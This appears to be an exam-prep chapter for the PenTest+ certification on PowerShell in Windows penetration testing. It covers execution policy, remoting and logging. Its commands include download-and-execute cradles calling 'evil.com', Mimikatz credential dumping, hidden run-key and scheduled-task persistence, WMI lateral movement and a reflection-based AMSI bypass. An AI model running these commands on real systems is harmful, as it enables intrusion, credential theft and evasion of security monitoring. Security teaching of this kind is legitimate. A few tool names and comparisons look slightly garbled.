# PowerShell for Penetration Testing

> Chapter 79 of the Courseiva PENTEST-PLUS curriculum — https://courseiva.com/learn/pentest-plus/powershell-pentesting

**Official objective:** 5.2 — Tools Scripts

## Introduction

When penetration testing a Windows environment, you rely on PowerShell for automating attacks and analysing scripts—a critical skill for the CompTIA PenTest+ PT0-002 exam, specifically under Domain 5.0 (Tools and Code Analysis) and Objective 5.2 (Analyze scripts to validate functionality and security). PowerShell is the primary scripting language for Windows environments, and approximately 10-15% of exam questions involve PowerShell, including script analysis, execution policies, and common penetration testing cmdlets. Understanding PowerShell's internals, from cmdlet execution to script block logging, is essential for both offensive and defensive security roles.

## PowerShell as a Universal Remote for Windows

A home entertainment centre contains four devices: a TV (file system), a sound system (registry), a streaming box (services), and a game console (processes). Each device comes with its own remote control with buttons for basic operations—this is the GUI. Now, a universal remote like PowerShell lets you control all devices with a single interface, but more importantly, it can learn and execute complex macros. For example, you can program a macro that turns on the TV, switches to HDMI 2, sets volume to 20, and launches Netflix—all with one button press. In PowerShell, this is a script. The universal remote also has a 'record' function that captures your button presses and saves them as a macro—this is like PowerShell's transcript feature. For penetration testing, you can use the universal remote to send commands that the original remotes never intended, like adjusting the TV's service menu to expose hidden ports (analogous to enabling WinRM or PSRemoting). The remote communicates via infrared (like WMI), Bluetooth (like .NET), or even over the internet (like PowerShell Remoting). A skilled tester can craft a macro that cycles through every channel (enumerate users), change the volume (adjust permissions), or even factory reset the whole system (execute destructive commands). Just as a universal remote can be programmed to send any IR code, PowerShell can invoke any .NET method or COM object, making it a powerful tool for both administration and exploitation.

## Core explanation

### What is PowerShell and Why It Exists

PowerShell is a task automation and configuration management framework from Microsoft, consisting of a command-line shell and associated scripting language. Initially released in 2006 as Windows PowerShell (built on .NET Framework), it evolved into PowerShell Core (cross-platform, built on .NET Core) in 2016, and later unified as PowerShell 7. For the PT0-002 exam, focus on Windows PowerShell 5.1 (default on Windows 10/Server 2016+) and PowerShell 7 (cross-platform).

PowerShell's existence is rooted in the need for system administrators to automate repetitive tasks (like user creation, log parsing, and software deployment) more effectively than VBScript or batch files. Its object-oriented nature—where cmdlets output .NET objects rather than text—makes it powerful for chaining commands (pipelining). For penetration testers, PowerShell is invaluable because it is:
- **Native to Windows**: Installed by default on all modern Windows systems, reducing the need to drop custom binaries.
- **Trusted by defenders**: Often whitelisted in application control policies (e.g., AppLocker) because it's a legitimate admin tool.
- **Powerful**: Can access WMI, CIM, .NET, COM, and the Windows API directly.
- **Scriptable**: Enables rapid development of reconnaissance, privilege escalation, and persistence tools.

### How PowerShell Works Internally

When you type a command in PowerShell, the following happens:
1. **Parsing**: The PowerShell engine parses the command into tokens (words, operators, parameters).
2. **Command Resolution**: The engine looks up the command in the following order: alias -> function -> cmdlet -> external command (exe). If not found, it throws an error.
3. **Parameter Binding**: The engine binds parameters using default parameter sets, positional parameters, or explicitly named parameters.
4. **Execution**: The command's implementation (e.g., a C# method for cmdlets, a script block for functions) runs.
5. **Output Processing**: The output objects are passed to the next command in the pipeline (if any) or formatted for display.

PowerShell uses a **monad** (single-threaded) approach for the pipeline: each command processes one object at a time from the previous command, not waiting for all objects to be generated. This is memory-efficient for large datasets.

### Key Components, Values, Defaults, and Timers

- **Cmdlets**: Built-in commands with a Verb-Noun naming convention (e.g., `Get-Process`, `Invoke-Command`). There are over 200 built-in cmdlets in Windows PowerShell 5.1.
- **Aliases**: Shortcuts for cmdlets (e.g., `ls` for `Get-ChildItem`, `cat` for `Get-Content`). Defined via `Set-Alias` or `New-Alias`.
- **Functions**: Named blocks of code defined in PowerShell script. Can be advanced (with `[CmdletBinding()]`) to behave like cmdlets.
- **Scripts**: Files with `.ps1` extension containing PowerShell commands.
- **Modules**: Packages of cmdlets, functions, and scripts. Loaded via `Import-Module`. Common modules for pentesting: `ActiveDirectory`, `Microsoft.PowerShell.Management`, `Posh-SecMod` (third-party).
- **Execution Policy**: A security feature that controls script execution. Policies: `Restricted` (no scripts, default on desktop Windows), `RemoteSigned` (remote scripts must be signed by trusted publisher, default on servers), `AllSigned`, `Unrestricted`, `Bypass`. Can be set via `Set-ExecutionPolicy`. Note: Execution policy is not a security boundary—it can be bypassed easily (see Misconceptions).
- **PowerShell Remoting**: Uses WinRM (HTTP/HTTPS on port 5985/5986) to execute commands remotely. Requires admin rights and firewall rules. Enabled via `Enable-PSRemoting`. Uses `-ComputerName` parameter on many cmdlets or `Enter-PSSession` for interactive sessions.
- **Transcripts**: Logging of PowerShell sessions via `Start-Transcript`. Outputs to a text file. Defenders use this to audit commands.
- **Script Block Logging**: Logs the content of all script blocks when executed, including obfuscated code. Enabled via Group Policy. Critical for forensics.
- **Module Logging**: Logs pipeline execution details for specific modules.
- **Protected Event Logging**: Encrypts logs using a certificate to prevent tampering.
- **Constrained Language Mode**: A lockdown mode that restricts PowerShell to a limited set of types and cmdlets. Used by system administrators to prevent arbitrary code execution. Bypass techniques exist (e.g., using `-Version 2` to revert to older, less restricted mode).
- **Just Enough Administration (JEA)**: Role-based access control for PowerShell remoting, limiting what commands a user can run.

### Configuration and Verification Commands

To check execution policy:
```powershell
Get-ExecutionPolicy
```

To bypass execution policy for a single script:
```powershell
powershell -ExecutionPolicy Bypass -File script.ps1
```

To enable PowerShell Remoting:
```powershell
Enable-PSRemoting -Force
```

To verify remoting is enabled:
```powershell
Test-WSMan -ComputerName localhost
```

To start a remote session:
```powershell
Enter-PSSession -ComputerName TARGET -Credential (Get-Credential)
```

To run a single command remotely:
```powershell
Invoke-Command -ComputerName TARGET -ScriptBlock { Get-Process } -Credential (Get-Credential)
```

To check script block logging:
```powershell
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' | Where-Object { $_.Id -eq 4104 } | Format-List *
```

To check module logging:
```powershell
Get-WinEvent -LogName 'Windows PowerShell' | Where-Object { $_.Id -eq 800 } | Format-List *
```

### How PowerShell Interacts with Related Technologies

- **.NET Framework**: PowerShell can instantiate any .NET object and call its methods. For example:
  ```powershell
  [System.Net.WebClient]::new().DownloadString('http://evil.com/payload.ps1')
  ```
- **WMI/CIM**: PowerShell uses `Get-WmiObject` (deprecated) or `Get-CimInstance` to query WMI. Useful for reconnaissance (e.g., list processes, services, network adapters).
- **COM Objects**: Via `New-Object -ComObject`, e.g., Internet Explorer COM for drive-by downloads.
- **Active Directory**: The `ActiveDirectory` module provides cmdlets like `Get-ADUser`, `Get-ADGroupMember`. Requires RSAT tools installed.
- **Windows API**: Via `Add-Type` to define C# code that calls Windows API functions (e.g., `kernel32.dll` for process injection).
- **PowerShell Empire**: A post-exploitation framework that uses PowerShell agents communicating over HTTP/HTTPS. Common in pentesting.
- **PowerShell Encoded Commands**: Base64-encoded commands to avoid parsing issues or detection. Used via `-EncodedCommand` parameter.

### Common Penetration Testing Cmdlets and Scripts

Reconnaissance:
```powershell
Get-Process
Get-Service
Get-NetTCPConnection
Get-LocalUser
Get-LocalGroupMember -Group Administrators
Get-ChildItem C:\Users -Recurse -Filter *.txt
```

Privilege Escalation:
```powershell
# Check for unquoted service paths
Get-CimInstance -ClassName Win32_Service | Where-Object { $_.PathName -notlike '"*' -and $_.PathName -like '* *' }
# Check for always install elevated
Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer
```

Persistence:
```powershell
# Add a registry run key
New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name 'Backdoor' -Value 'powershell -WindowStyle Hidden -EncodedCommand <base64>'
# Create a scheduled task
$action = New-ScheduledTaskAction -Execute 'powershell' -Argument '-WindowStyle Hidden -EncodedCommand <base64>'
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName 'UpdateTask' -Action $action -Trigger $trigger -User 'SYSTEM'
```

Credential Theft:
```powershell
# Mimikatz via PowerShell (Invoke-Mimikatz)
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds
# Invoke-Kerberoast for service account tickets
```

Lateral Movement:
```powershell
# PSRemoting
Invoke-Command -ComputerName TARGET -ScriptBlock { Get-Process } -Credential $cred
# WMI execution
Invoke-WmiMethod -ComputerName TARGET -Class Win32_Process -Name Create -ArgumentList 'powershell -EncodedCommand <base64>'
```

### Security Considerations and Defenses

Defenders can:
- Enable Script Block Logging and Module Logging via Group Policy.
- Use Constrained Language Mode to limit cmdlets.
- Remove `PowerShell.exe` from AppLocker or WDAC rules (though many tools use `powershell_ise.exe` or `pwsh.exe`).
- Monitor Event IDs 4104 (script block logging), 4103 (module logging), 400 (engine start), 403 (engine stop).
- Use AMSI (Anti-Malware Scan Interface) to scan script content before execution. AMSI can be bypassed via patching or reflection.

For the exam, know that AMSI bypasses exist (e.g., `[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)`).

### PowerShell Versions and Compatibility

Windows PowerShell 5.1 is the last version of Windows PowerShell; PowerShell 7 is the future. Key differences:
- PowerShell 7 is cross-platform (Linux, macOS).
- PowerShell 7 has new operators (`??`, `??=`, `..`), `ForEach-Object -Parallel`, and ternary operator.
- Some cmdlets differ: `Get-NetTCPConnection` vs `Get-NetTCPConnection` (same in both), but `Get-WmiObject` is deprecated in PowerShell 7 (use `Get-CimInstance`).
- PowerShell 7 does not include the `ActiveDirectory` module by default; use `Import-Module ActiveDirectory` from RSAT.

For PT0-002, assume Windows PowerShell 5.1 unless stated otherwise.

## Real-world context

### Scenario 1: Penetration Test of a Corporate Windows Domain

A penetration tester is engaged to assess a medium-sized enterprise with 2,000 Windows 10 workstations and 50 Windows Server 2019 domain controllers. The tester gains initial access via a phishing email that executes a PowerShell download cradle. The first step is to enumerate the local system for privilege escalation vectors. The tester runs `Get-LocalGroupMember -Group Administrators` to see who is local admin, then checks for unquoted service paths using `Get-CimInstance Win32_Service | Where-Object { $_.PathName -notlike '"*' -and $_.PathName -like '* *' }`. They find a service with path `C:\Program Files\Vendor App\service.exe` (no quotes). By placing a malicious `service.exe` in `C:\Program Files\Vendor App\` (which they have write access to due to weak permissions), they escalate to SYSTEM. From there, they dump credentials with `Invoke-Mimikatz -DumpCreds` and find a domain admin hash. They use `Invoke-Command -ComputerName DC01 -ScriptBlock { Get-ADUser -Filter * }` to enumerate all domain users. The engagement requires careful logging: they enable transcript via `Start-Transcript -Path C:\temp\log.txt` to document their actions for the report. The tester must also avoid detection by disabling real-time monitoring (if allowed) or using obfuscation. Common misconfiguration: the domain's PowerShell logging is not enabled, so the tester's commands go unnoticed. However, if Script Block Logging is enabled, Event ID 4104 will capture every script block, including the download cradle. The tester would need to use obfuscation techniques like splitting strings or using `-EncodedCommand` to avoid signature-based detection.

### Scenario 2: Red Team Operation Against a High-Security Environment

A red team is targeting a financial institution with strict AppLocker policies that block `powershell.exe` but allow `powershell_ise.exe` and `pwsh.dll` (for PowerShell 7). The team uses a technique called 'PowerShell without PowerShell'—they execute PowerShell commands via `cscript` using a `.js` file that invokes the `PowerShell` object via COM. Alternatively, they use `Install-util` or `regsvr32` to load PowerShell code through trusted binaries. Once on a system, they discover Constrained Language Mode is enabled. They bypass it by launching PowerShell with `-Version 2` (if PowerShell 2.0 is installed) because version 2 does not support Constrained Language Mode. They then execute `Get-Process` to list running processes. For lateral movement, they use WMI instead of PSRemoting because WinRM may be blocked: `Invoke-WmiMethod -ComputerName TARGET -Class Win32_Process -Name Create -ArgumentList 'powershell -EncodedCommand <base64>'`. The red team also uses `PowerShell Empire` for command and control, which uses a PowerShell agent that communicates over HTTP with AES-encrypted traffic. The defenders have AMSI enabled, so the team uses an AMSI bypass: `[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)`. This patch causes AMSI to return 'non-malicious' for all scans. The exam may ask which AMSI bypass technique is used; know that this reflection-based bypass is common.

### Scenario 3: Automating Reconnaissance in a Cloud Environment

A tester is assessing an Azure AD-joined environment. They use PowerShell with the `AzureAD` module to enumerate users, groups, and applications. Commands like `Get-AzureADUser -All $true` and `Get-AzureADGroupMember -ObjectId <group-id>` are used. For on-premises AD, they use `Get-ADUser -Filter * -Properties *` from the `ActiveDirectory` module. The tester also uses `Invoke-Command` to run commands on Azure VMs via the `Azure` extension or via WinRM if enabled. A common mistake is forgetting to authenticate first: `Connect-AzureAD` or `Connect-MsolService`. The exam may test that `Get-ADUser` is part of the `ActiveDirectory` module, which is not installed by default on client OS; it requires RSAT. In cloud scenarios, the tester might use `Invoke-RestMethod` to call Microsoft Graph API directly: `Invoke-RestMethod -Uri 'https://graph.microsoft.com/v1.0/users' -Headers @{Authorization = "Bearer $token"}`. This is more stealthy than using AzureAD cmdlets because it uses native HTTP calls.

## Exam focus

The PT0-002 exam tests PowerShell under Objective 5.2 (Analyze scripts to validate functionality and security). You must be able to read a PowerShell script, identify what it does, and recognize security implications. Expect 5-10 questions that involve PowerShell directly or as part of a larger scenario.

### Common Wrong Answers and Why Candidates Choose Them

1. **Execution Policy is a security boundary**: Many candidates think that setting `ExecutionPolicy Restricted` prevents users from running malicious scripts. Reality: Execution policy can be bypassed easily (e.g., `-ExecutionPolicy Bypass`, download cradle, encoded command). The exam expects you to know that execution policy is not a security control—it's a user convenience feature.

2. **PowerShell Remoting uses RPC over port 135**: Some confuse WinRM with RPC. PowerShell Remoting uses WinRM over HTTP (5985) or HTTPS (5986). Port 135 is for RPC endpoint mapper. The exam may ask which port WinRM uses; know the default ports.

3. **`Invoke-Expression` is the only way to execute code from a string**: Candidates may forget that `Invoke-Command` with a script block also executes code, but `Invoke-Expression` is specifically for strings. Also, `&` (call operator) can execute a command from a string variable: `& $command`. The exam tests the difference between `Invoke-Expression` and `Invoke-Command`.

4. **PowerShell scripts require `.ps1` extension to run**: Actually, you can execute PowerShell code from any file or even from stdin. The extension is a convention, not a requirement. The `-File` parameter accepts any file. Also, you can run a script by piping its content: `Get-Content script.txt | powershell -NoProfile -`.

### Specific Numbers, Values, and Terms

- **WinRM ports**: 5985 (HTTP), 5986 (HTTPS).
- **Execution policies**: `Restricted`, `RemoteSigned`, `AllSigned`, `Unrestricted`, `Bypass`.
- **Default execution policy**: `Restricted` on Windows client, `RemoteSigned` on Windows Server (if not changed).
- **PowerShell version**: Windows PowerShell 5.1 is the default on Windows 10/Server 2016+.
- **Event IDs**: 4104 (Script Block Logging), 4103 (Module Logging), 400/403 (Engine start/stop).
- **AMSI bypass**: `[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)`.
- **Constrained Language Mode bypass**: Use `-Version 2` if PowerShell 2.0 is installed.
- **Cmdlet for remote execution**: `Invoke-Command` (not `Invoke-Expression`).
- **Cmdlet for downloading**: `Invoke-WebRequest` (alias `iwr`) or `Net.WebClient`.

### Edge Cases and Exceptions

- **PowerShell 7 vs Windows PowerShell**: PowerShell 7 is cross-platform and does not have the `ActiveDirectory` module by default. It uses `Get-CimInstance` instead of `Get-WmiObject`.
- **PowerShell Core on Linux**: Commands like `Get-Service` work differently; Linux uses `systemctl`.
- **PowerShell 2.0**: Can be used to bypass Constrained Language Mode, but it is not installed by default on Windows 10/2016+.
- **PowerShell without PowerShell**: Techniques like `PowerShell.exe` replaced by `cscript`, `mshta`, or `regsvr32` to execute PowerShell code through trusted binaries.

### How to Eliminate Wrong Answers

- If a question asks about remote command execution, look for `Invoke-Command`, `Enter-PSSession`, or `New-PSSession`. If it mentions `Invoke-Expression`, that is for local string execution, not remote.
- If a question asks about bypassing execution policy, the answer should involve `-ExecutionPolicy Bypass`, `IEX`, or `-EncodedCommand`. Any answer that suggests changing the policy permanently is less likely.
- If a question involves AMSI, the bypass technique is typically a reflection-based patch. Answer choices that mention `Set-MpPreference` are for Windows Defender, not AMSI.
- If a question asks about logging, remember that Script Block Logging (Event ID 4104) captures the full script block, while Module Logging (Event ID 4103) captures pipeline execution.

## Step by step

1. **Bypass Execution Policy** — When you need to run a PowerShell script on a target system where the default execution policy is 'Restricted' (desktop) or 'RemoteSigned' (server), you must bypass it. The simplest method is to launch PowerShell with the `-ExecutionPolicy Bypass` argument: `powershell -ExecutionPolicy Bypass -File script.ps1`. This sets the policy for the current session only. Another common technique is to pipe the script from a download: `IEX (New-Object Net.WebClient).DownloadString('http://evil.com/script.ps1')`. This avoids writing to disk and runs the script in the current session's policy context. Note: Execution policy is a user preference, not a security control; it can be overridden by any user. The exam expects you to know that `Bypass` allows any script to run without restrictions.
2. **Enumerate System Information** — Gather basic system info using cmdlets like `Get-ComputerInfo` (Windows 10/2016+), `Get-WmiObject Win32_OperatingSystem`, or `Get-CimInstance Win32_OperatingSystem`. For domain-joined systems, use `Get-WmiObject Win32_ComputerSystem | Select-Object Domain`. To list local users: `Get-LocalUser` (PowerShell 5.1+) or `Get-WmiObject Win32_UserAccount -Filter "LocalAccount=True"`. For groups: `Get-LocalGroupMember -Group Administrators`. For network configuration: `Get-NetIPConfiguration` or `Get-WmiObject Win32_NetworkAdapterConfiguration`. These commands output objects that can be further filtered or exported. The exam may ask which cmdlet retrieves a specific piece of information; remember that `Get-WmiObject` and `Get-CimInstance` are interchangeable but `Get-CimInstance` is preferred in newer systems.
3. **Execute Remote Commands via WinRM** — PowerShell Remoting uses WinRM (Windows Remote Management) over HTTP (5985) or HTTPS (5986). To execute a command on a remote system, use `Invoke-Command -ComputerName TARGET -ScriptBlock { Get-Process } -Credential (Get-Credential)`. The `-ComputerName` parameter accepts an array of computers for parallel execution. For interactive sessions, use `Enter-PSSession -ComputerName TARGET`. WinRM must be enabled on the target (`Enable-PSRemoting -Force`), and the firewall must allow the port. The exam tests that by default, WinRM uses Kerberos for authentication (domain) or NTLM (workgroup). If the target is not trusted, you may need to add it to the TrustedHosts list: `Set-Item WSMan:\localhost\Client\TrustedHosts -Value TARGET -Force`. Also, `-Authentication Negotiate` can be used for non-domain scenarios.
4. **Download and Execute Payload In-Memory** — To avoid writing malicious files to disk, attackers use in-memory execution. The classic one-liner: `IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')`. This downloads the script as a string and passes it to `Invoke-Expression` (IEX), which executes it in the current session. Alternatively, use `-EncodedCommand` with a base64-encoded script: `powershell -EncodedCommand <base64>`. The encoded command is decoded and executed without touching disk. The exam may ask about detection: Script Block Logging will capture the decoded command, but AMSI may block it. Attackers often use obfuscation to evade AMSI, such as splitting strings or using backticks. Know that `IEX` is an alias for `Invoke-Expression` and is commonly used in attack scripts.
5. **Extract Credentials from Memory** — Mimikatz is a popular tool for extracting plaintext passwords, hashes, and Kerberos tickets from memory. The PowerShell version, `Invoke-Mimikatz`, is loaded via IEX: `IEX (New-Object Net.WebClient).DownloadString('http://evil.com/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds`. It uses the `sekurlsa::logonpasswords` command. On systems with Credential Guard enabled, Mimikatz may fail. Alternative: `Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'`. The exam may test that Mimikatz requires administrative privileges and that it can also dump Kerberos tickets (`kerberos::list /export`). Note: Windows Defender may flag Mimikatz; attackers often rename or obfuscate the script. The exam expects you to know that `Invoke-Mimikatz` is a PowerShell script that calls the Mimikatz binary's functionality via reflection.

## Comparisons

### Windows PowerShell 5.1 vs PowerShell 7 (Core)

**Windows PowerShell 5.1:**
- Built on .NET Framework, Windows-only
- Default on Windows 10/Server 2016+
- Includes ActiveDirectory module with RSAT
- Uses Get-WmiObject (deprecated but present)
- Supports Constrained Language Mode

**PowerShell 7 (Core):**
- Built on .NET Core, cross-platform (Windows, Linux, macOS)
- Not installed by default on any OS
- ActiveDirectory module not included; requires separate module
- Uses Get-CimInstance instead of Get-WmiObject
- Does not support Constrained Language Mode; uses system-wide lockdown

### Invoke-Expression (IEX) vs Invoke-Command

**Invoke-Expression (IEX):**
- Executes a string as PowerShell code
- Runs locally in the current session
- Commonly used in download cradles
- Can execute any valid PowerShell expression
- No remoting capability

**Invoke-Command:**
- Executes a script block on local or remote computers
- Primarily used for remote execution via WinRM
- Supports -ComputerName parameter for multiple targets
- Script block is compiled once, not parsed as string
- Can be used locally by omitting -ComputerName

## Common misconceptions

- **Misconception:** Execution policy is a security feature that prevents malicious scripts from running. **Reality:** Execution policy is a user preference that can be easily bypassed using `-ExecutionPolicy Bypass`, download cradles, or encoded commands. It is not a security boundary.
- **Misconception:** PowerShell Remoting uses port 445 (SMB) to execute commands. **Reality:** PowerShell Remoting uses WinRM over HTTP (5985) or HTTPS (5986). SMB (445) is used for file sharing, not remote command execution.
- **Misconception:** Constrained Language Mode completely prevents code execution. **Reality:** Constrained Language Mode restricts available types and cmdlets but can be bypassed by using `-Version 2` (if PowerShell 2.0 is installed) or by using .NET reflection.
- **Misconception:** PowerShell scripts must have a .ps1 extension to execute. **Reality:** PowerShell can execute any text file containing valid PowerShell commands. The extension is irrelevant; you can use `-File` with any file or pipe content from stdin.
- **Misconception:** `Invoke-Expression` and `Invoke-Command` are interchangeable. **Reality:** `Invoke-Expression` evaluates a string as PowerShell code locally. `Invoke-Command` executes a script block, typically on remote computers via WinRM.

## Key takeaways

- Execution policy is NOT a security control; it can be bypassed with `-ExecutionPolicy Bypass`, download cradles, or encoded commands.
- PowerShell Remoting uses WinRM on ports 5985 (HTTP) and 5986 (HTTPS); default authentication is Kerberos in a domain.
- Script Block Logging (Event ID 4104) captures the full content of every script block executed, including obfuscated code.
- AMSI bypass via reflection: `[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)`.
- Constrained Language Mode can be bypassed by launching PowerShell with `-Version 2` if PowerShell 2.0 is installed.
- `Invoke-Expression` executes a string locally; `Invoke-Command` executes a script block locally or remotely.
- Common reconnaissance cmdlets: `Get-Process`, `Get-Service`, `Get-LocalUser`, `Get-NetTCPConnection`, `Get-ChildItem`.
- In-memory execution avoids writing to disk: `IEX (New-Object Net.WebClient).DownloadString('URL')`.
- Mimikatz in PowerShell: `Invoke-Mimikatz -DumpCreds` requires administrative privileges.
- PowerShell 7 is cross-platform but lacks some Windows-specific modules; Windows PowerShell 5.1 is the exam default.

## FAQ

**How do I bypass PowerShell execution policy?**

Use `powershell -ExecutionPolicy Bypass -File script.ps1` to run a script with no restrictions. Alternatively, use a download cradle: `IEX (New-Object Net.WebClient).DownloadString('http://evil.com/script.ps1')`. This runs the script in the current session without changing the system policy. The exam expects you to know that execution policy is not a security control; it is a user preference that can be easily overridden.

**What ports does PowerShell Remoting use?**

PowerShell Remoting uses WinRM (Windows Remote Management) over HTTP on port 5985 and HTTPS on port 5986. The default is HTTP (5985). To use HTTPS, you need a certificate and the `-UseSSL` parameter. The exam may ask you to identify these ports. Do not confuse them with RPC (135) or SMB (445).

**What is the difference between Invoke-Expression and Invoke-Command?**

`Invoke-Expression` (alias `IEX`) takes a string and evaluates it as PowerShell code in the current session. `Invoke-Command` takes a script block and executes it, typically on remote computers via WinRM. `Invoke-Command` can also run locally if no `-ComputerName` is specified, but it is designed for remoting. The exam may test that `IEX` is used for download cradles and `Invoke-Command` for lateral movement.

**How do I detect PowerShell attacks via logging?**

Enable Script Block Logging (Event ID 4104) to capture the full content of script blocks. Enable Module Logging (Event ID 4103) to capture pipeline execution. Monitor Event IDs 400 and 403 for PowerShell engine start and stop. Also, use AMSI to scan script content before execution. The exam may ask which event ID corresponds to script block logging (4104).

**What is the AMSI bypass technique for PowerShell?**

A common AMSI bypass uses reflection to set the `amsiInitFailed` field to `$true`, which disables AMSI for the current session. The code: `[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)`. This causes AMSI to always return 'non-malicious'. The exam may ask about this technique or present it as a correct answer in a script analysis question.

**How do I execute PowerShell code without using powershell.exe?**

You can use other executables to invoke PowerShell code, such as `cscript` with a JavaScript file that creates a PowerShell object, or `mshta` with an HTA file. Also, `Install-util` and `regsvr32` can be used to run PowerShell code through trusted binaries. This is known as 'PowerShell without PowerShell' and helps bypass AppLocker restrictions.

**What is Constrained Language Mode and how do I bypass it?**

Constrained Language Mode restricts PowerShell to a limited set of types and cmdlets to prevent arbitrary code execution. It can be bypassed by launching PowerShell with `-Version 2` (if PowerShell 2.0 is installed) because version 2 does not support Constrained Language Mode. Alternatively, using .NET reflection to call methods directly may also work. The exam may test that `-Version 2` is a bypass method.

---

Interactive version with quiz and diagrams: https://courseiva.com/learn/pentest-plus/powershell-pentesting
